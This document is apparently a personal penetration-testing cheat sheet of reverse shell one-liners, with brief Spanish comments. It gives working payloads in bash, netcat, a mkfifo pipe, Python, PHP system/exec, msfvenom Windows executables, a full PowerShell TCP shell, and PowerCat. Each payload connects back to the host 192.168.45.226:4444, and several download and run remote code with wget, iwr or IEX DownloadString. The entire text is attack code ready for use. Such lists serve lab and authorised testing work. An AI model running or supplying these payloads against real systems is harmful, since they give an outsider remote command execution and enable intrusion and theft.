Linux
nc 192.168.45.226 4444 -e /bin/bash
busybox nc 192.168.45.226 4444 -e bash
bash -c "bash -i >& /dev/tcp/192.168.45.226/4444 0>&1"
<?php
system("/bin/bash -c 'bash -i >& /dev/tcp/192.168.45.226/4444 0>&1'");
?>
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.45.226/4444 0>&1'");
?>
wget 192.168.45.226/payload/revshell -O /tmp/revshell
chmod +x /tmp/revshell
/tmp/revshell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.45.226 4444 >/tmp/f
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("192.168.45.226",4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'
https://www.revshells.com/
MSFVenom
// 32 bit
msfvenom -p windows/shell_reverse_tcp -f exe -o shell.exe LHOST=192.168.45.226 LPORT=4444
// 64 bit
msfvenom -p windows/x64/shell_reverse_tcp -f exe -o shell.exe LHOST=192.168.45.226 LPORT=4444
// Descargamos el payload y luego lo ejecutamos
powershell iwr -uri http://192.168.45.226/rev.exe -o C:/Windows/Temp/rev.exe
C:/Windows/Temp/rev.exe
PowerShell
$client = New-Object System.Net.Sockets.TCPClient("192.168.45.226",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $st
ream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ('. {' + $data + '} *>&1') | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
PowerCat
powershell -c "& {iex (Get-Content 'C:\Windows\Temp\powercat.ps1' -Raw); powercat -c 192.168.45.226 -p 4444 -e c:\windows\system32\cmd.exe}"
powershell -c "iex (Get-Content 'C:\Windows\Temp\powercat.ps1' -Raw); powercat -c 192.168.45.226 -p 4444 -e c:\windows\system32\cmd.exe"
powershell IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.226/powercat.ps1');powercat -c 192.168.45.226 -p 4444 -e powershell